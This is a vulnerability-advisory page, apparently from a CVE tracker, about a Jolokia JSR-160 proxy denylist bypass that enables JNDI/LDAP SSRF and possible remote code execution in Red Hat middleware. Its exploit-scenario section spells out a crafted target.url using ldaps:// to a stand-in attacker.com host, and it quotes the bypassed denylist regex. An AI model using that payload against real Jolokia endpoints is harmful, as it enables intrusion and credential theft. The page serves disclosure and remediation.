Skip to main content

Jolokia CVE-2026-84218

| EUVDEUVD-2026-69129 HIGH
Incomplete List of Disallowed Inputs (CWE-184)
2026-09-01 redhat GHSA-c9ff-59g8-m36q
8.1
CVSS 3.1 · Vendor: redhat
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Identify exposed Jolokia HTTP proxy endpoint
  2. Delivery
    Craft target.url bypassing ldap:.* denylist (use ldaps:// or non-empty-host LDAP form)
  3. Exploit
    Submit malicious POST request to Jolokia agent
  4. Execution
    Jolokia JVM resolves JNDI lookup to attacker-controlled LDAP server
  5. Persist
    Attacker LDAP returns malicious Java class reference
  6. Impact
    Execute arbitrary code within the Jolokia JVM process

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V2 - Validation and Business Logic Input validation completeness
Exploitation Conditions

The JSR-160 proxy feature must be explicitly enabled in the Jolokia agent configuration - it is not the default operating mode and requires deliberate configuration. The Jolokia HTTP endpoint must be reachable by the attacker over the network; per the CVSS PR:N vector, no authentication credential is required to submit POST requests, though Jolokia supports optional HTTP authentication that, if enforced, would require valid credentials and elevate the effective privilege requirement. The RCE outcome is further conditioned on: the absence of a Java security manager in the target JVM, availability of exploitable classes on the classpath (e.g., JNDI-referenceable deserializable gadgets), and the JVM not being patched against known JNDI injection chains. If these JVM-side conditions are not met, the impact degrades to SSRF and credential forwarding rather than code execution. Exploitation is meaningfully limited by the proxy being off by default and the need to craft bypass URLs not matching the existing denylist.

Impact

The CVSS 8.1 score (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H) reflects a high-severity, network-exploitable flaw requiring no authentication (PR:N) if the Jolokia endpoint is exposed without access controls. AC:H acknowledges that the JSR-160 proxy must be deliberately enabled and a valid bypass URL must be crafted - these are non-trivial prerequisites that reduce opportunistic exploitation risk. No EPSS score was provided in the input; exploitation frequency cannot be quantified. No CISA KEV listing or public POC is identified at time of analysis, so this cannot be confirmed as actively exploited. However, the vulnerability is a documented bypass of a prior known fix (CVE-2018-1000130), which means any researcher or threat actor who studied the original patch can likely derive the bypass independently - a meaningful threat-intelligence signal that makes the AC:H rating feel optimistic in practice. The SSRF and credential-forwarding impacts are mechanistically reliable once the proxy is reachable; RCE is conditional on JVM classpath and security-manager state. Even a mid-sized enterprise security team should treat this as urgent where the JSR-160 proxy is enabled in any externally reachable or multi-tenant deployment, particularly in Red Hat Fuse 7 or Satellite 6 environments where Jolokia may be accessible to internal network segments with mixed trust levels.

Exploit ScenarioDerived

An attacker locates an internet-facing or network-accessible Jolokia endpoint with JSR-160 proxy mode enabled and no HTTP authentication enforced. They submit an HTTP POST request with a target.url of service:jmx:rmi://attacker.com:1099/jndi/ldaps://attacker.com/payload - a form not matched by the existing denylist regex - causing the Jolokia JVM to perform a JNDI lookup against the attacker's LDAP server, which responds with a reference to a malicious serialized Java class that executes arbitrary code on the server hosting the Jolokia agent.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.9% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Sep 01, 2026

Jolokia's JSR-160 proxy in multiple Red Hat middleware products allows network-accessible unauthenticated attackers (per CVSS PR:N) to bypass the denylist introduced to fix CVE-2018-1000130 by supplying alternative LDAP-scheme JMX service URLs - such as ldaps:// or LDAP URLs with a non-empty host component - that are not matched by the existing regex filter. Once accepted, the Jolokia agent JVM resolves a JNDI lookup against an attacker-controlled LDAP endpoint, enabling server-side request forgery, forwarding of in-flight JMX credentials to the attacker, and - depending on JVM classpath and security-manager configuration - remote code execution. No active exploitation (CISA KEV) or public proof-of-concept has been identified at time of analysis, but the bypass of a prior known CVE fix elevates realistic risk above the AC:H score alone implies.

RemediationAI

Apply any vendor-released patches from Red Hat for the affected product lines as detailed at https://access.redhat.com/security/cve/CVE-2026-84218; exact fixed versions were not confirmed in the available input data and should be verified directly against the advisory. As the highest-priority immediate workaround, disable the JSR-160 proxy feature in the Jolokia agent configuration if not operationally required - this removes the target.url processing path entirely and eliminates the attack surface without affecting standard JMX-over-HTTP operation. If the proxy must remain enabled, restrict the Jolokia HTTP endpoint to trusted, authenticated internal callers via a reverse proxy or network ACLs, preventing unauthenticated external actors from supplying crafted target.url values. As a defense-in-depth measure, block outbound LDAP (TCP 389) and LDAPS (TCP 636) traffic from the JVM host at the firewall level; this prevents JNDI lookups from reaching attacker-controlled servers even if a bypass attempt succeeds, limiting the worst-case outcome to SSRF rather than RCE - though it may break legitimate LDAP-dependent functionality and should be tested before deployment. Monitor https://github.com/jolokia/jolokia/issues/1049 for upstream patch availability.

Affected Packages

maven org.jolokia:jolokia-service-jsr160 fix: 2.6.2

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in maven

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Jolokia is a JMX-to-HTTP bridge that exposes Java MBean operations via a REST API. Its optional JSR-160 proxy mode accepts a client-supplied target.url field in HTTP POST bodies and passes it directly to JMXServiceURL and JMXConnectorFactory to establish a remote JMX connection - a flow that inherently trusts the URL's scheme and authority. The mitigation for CVE-2018-1000130 added a denylist regex matching only service:jmx:rmi:///jndi/ldap:.*, leaving unblocked the ldaps:// scheme and LDAP URLs with a non-empty JMX host segment - both accepted as valid JMXServiceURL objects by the Java runtime. This is classified as CWE-184 (Incomplete List of Disallowed Inputs): the blocklist was too narrow to cover the full input space of valid JMX URL forms. Affected Red Hat distributions per CPE data are: Red Hat Build of Apache Camel 4 for Quarkus 3 (cpe:2.3:a:red_hat:red_hat_build_of_apache_camel_4_for_quarkus_3), Red Hat Build of Apache Camel for Spring Boot 4, Red Hat Fuse 7, and Red Hat Satellite 6.

Know when Red Hat Fuse 7 gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (redhat) PRIMARY 8.1 HIGH
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
vuln.today AI 8.1 HIGH

Network-delivered POST requires no auth (PR:N); AC:H reflects non-default proxy enablement and bypass URL crafting; full C/I/A justified by SSRF, credential theft, and conditional RCE.

3.1 AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Red Hat 8.1 HIGH

Primary rating from Vendor (redhat).

CVSS VectorVendor: redhat

Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

A flaw was found in Jolokia's JSR-160 proxy functionality where insufficient validation of client-controlled JMX service URLs allows a bypass of the denylist introduced to mitigate CVE-2018-1000130. The proxy accepts a target.url value from a Jolokia POST request and passes it to JMXServiceURL and JMXConnectorFactory for establishing the remote JMX connection. The existing denylist only rejects URLs matching service:jmx:rmi:///jndi/ldap:.*, which can be bypassed using alternative valid JMX service URL forms, including ldaps:// schemes or LDAP URLs with a non-empty JMX host component. These URLs are accepted as valid JMXServiceURL objects and can cause the Jolokia agent JVM to perform a JNDI lookup against an attacker-controlled LDAP endpoint. This can result in server-side request forgery (SSRF), forwarding of supplied JMX credentials to the remote endpoint, and potentially remote code execution depending on the classes and configuration available in the target JVM.

Executive ViewAI

Why It Matters

A critical security bypass in Jolokia components within Red Hat middleware products allows unauthenticated external attackers to circumvent existing security controls and compromise administrative credentials or systems. Though no public exploit has been identified at time of analysis, organizations running affected Red Hat deployments face significant risk of credential theft and system takeover.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict network access to Jolokia endpoints via firewall rules and network segmentation; (2) Disable Jolokia service if not operationally required; (3) Implement enhanced logging and alerting for JNDI lookups and LDAP-based URL attempts; (4) Monitor Red Hat security advisories for patch availability.

Threat Intelligence Overview

EPSS Score
0.9%
Top 43% exploitable
Prevalence
Medium
widely used Java JMX bridge in enterprise middleware stacks
Threat Intel
1
1 source
Data Quality
5 sources
Confidence: Medium
EUVD NVD CVE.org EPSS Vulnrichment GHSA Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.9%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

41
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +40
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

Affected Products (CPE)CVE.org

cpe:2.3:a:red_hat:red_hat_build_of_apache_camel_4_for_quarkus_3:*:*:*:*:*:*:*:*
cpe:2.3:a:red_hat:red_hat_build_of_apache_camel_for_spring_boot_4:*:*:*:*:*:*:*:*
cpe:2.3:a:red_hat:red_hat_fuse_7:*:*:*:*:*:*:*:*
cpe:2.3:a:red_hat:red_hat_satellite_6:*:*:*:*:*:*:*:*
CVE-2026-28369 CRITICAL
9.1 Mar 27

HTTP request smuggling in Undertow (the embedded web server underpinning JBoss EAP, Red Hat Data Grid, and Apache Camel

CVE-2026-28368 CRITICAL
9.1 Mar 27

HTTP request smuggling in Red Hat Undertow allows remote unauthenticated attackers to bypass front-end security controls

CVE-2026-28367 CRITICAL
9.1 Mar 27

HTTP request smuggling in Undertow allows remote unauthenticated attackers to send `\r\r\r` as a header block terminator

CVE-2026-85634 HIGH
8.8 Oct 15

Path traversal in wildfly-core's deployment content handler allows an authenticated JBoss EAP, WildFly, Fuse 7, or Singl

CVE-2026-93569 HIGH
8.2 Sep 18

Mismatched handling of the HTTP/1 absolute-form request authority in Red Hat build of Quarkus and other affected Red Hat

CVE-2026-89059 HIGH
7.5 Sep 18

A remote, unauthenticated attacker can exhaust the JVM heap and cause a denial of service by sending a small crafted ima

CVE-2026-93558 HIGH
7.5 Sep 18

Unbounded per-connection queue growth in Netty's WebSocketServerExtensionHandler lets unauthenticated remote attackers e

CVE-2026-93568 HIGH
7.5 Sep 18

Improper handling of HTTP/2 and HTTP/3 Extended CONNECT requests in Netty-based services can downgrade them to ordinary

CVE-2026-93488 HIGH
7.5 Sep 18

Unbounded remote-initiated stream creation in Netty's SpdySessionHandler allows an unauthenticated, network-positioned a

CVE-2026-93491 HIGH
7.5 Sep 18

Unbounded heap memory consumption in Netty's HttpServerCodec (io.netty:netty-codec-http) lets a remote, unauthenticated

CVE-2026-87743 HIGH
7.5 Sep 18

Quarkus HTTP security path-normalization discrepancy allows unauthenticated remote attackers to craft a URL that the sec

CVE-2026-93564 HIGH
7.5 Sep 18

Remote unauthenticated attackers can exhaust memory in Netty-based services that parse PROXY protocol v2, due to a refer

Vendor StatusVendor

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy